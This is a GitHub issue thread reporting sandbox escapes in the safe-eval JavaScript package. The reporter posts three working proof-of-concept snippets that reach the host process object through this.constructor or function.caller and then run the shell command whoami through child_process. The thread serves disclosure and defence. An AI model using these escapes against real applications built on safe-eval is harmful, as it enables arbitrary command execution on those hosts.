Skip to content
New issue

Have a question about this project? # for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “#”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? # to your account

Breakout #18

Open
XmiliaH opened this issue Feb 11, 2020 · 5 comments
Open

Breakout #18

XmiliaH opened this issue Feb 11, 2020 · 5 comments

Comments

@XmiliaH
Copy link

XmiliaH commented Feb 11, 2020

It is possible to get access to the hosts process object as shown in:

const safeEval = require('./index');
const code = '(' + function (){
    const HostObject = this.constructor;
    const HostFunction = HostObject.is.constructor;
    const process = HostFunction('return process')();
    return process.mainModule.require('child_process').execSync('whoami').toString();
} + ')()';
try {
    console.log(safeEval(code));
} catch (e) {
    console.log(e);
}
@a0xnirudh
Copy link

@XmiliaH Just curious, I am not able to replicate the bug on node v12.13.0 running safe-eval. 0.4.1. HostObject is undefined ( as this.constructor is not returning anything) and it crashes when trying to read property 'is' on undefined. Am I missing something here ?

On the other node, #19 works perfect (based on your vm2 escape).

@XmiliaH
Copy link
Author

XmiliaH commented Feb 28, 2020

@a0xnirudh yes, with v12.10.0 it also does not work. However there is an easy fix:

const safeEval = require('./index');
const code = '(' + function (){
    delete this.constructor;
    const HostObject = this.constructor;
    const HostFunction = HostObject.is.constructor;
    const process = HostFunction('return process')();
    return process.mainModule.require('child_process').execSync('whoami').toString();
} + ')()';
try {
    console.log(safeEval(code));
} catch (e) {
    console.log(e);
}

Delete the constructor first.

@XmiliaH
Copy link
Author

XmiliaH commented Feb 28, 2020

Bonus, climb up with the function.caller property

const code = '(' + function (){
    const key = Object.getOwnPropertyNames(this).find(k => k.startsWith('SAFE_EVAL_'));
    function getter() {
        const HostFunction = getter.caller.constructor;
        const process = HostFunction('return process')();
        return process.mainModule.require('child_process').execSync('whoami').toString();
    }
    Object.defineProperty(this, key, {
        get: getter
    });
} + ')()';
try {
    console.log(safeEval(code));
} catch (e) {
    console.log(e);
}

@MostafaSoliman
Copy link

Hi,
I found a restricted escape, I Wrote the explanation here
https://github.com/MostafaSoliman/Security-Advisories/blob/master/Safe-eval%20Sandbox%20Escape/readme.md

@S4lt5
Copy link

S4lt5 commented Aug 3, 2020

@XmiliaH Thanks for the repro. That is fairly scary that this is unpatched with so many downloads every week!

# for free to join this conversation on GitHub. Already have an account? # to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants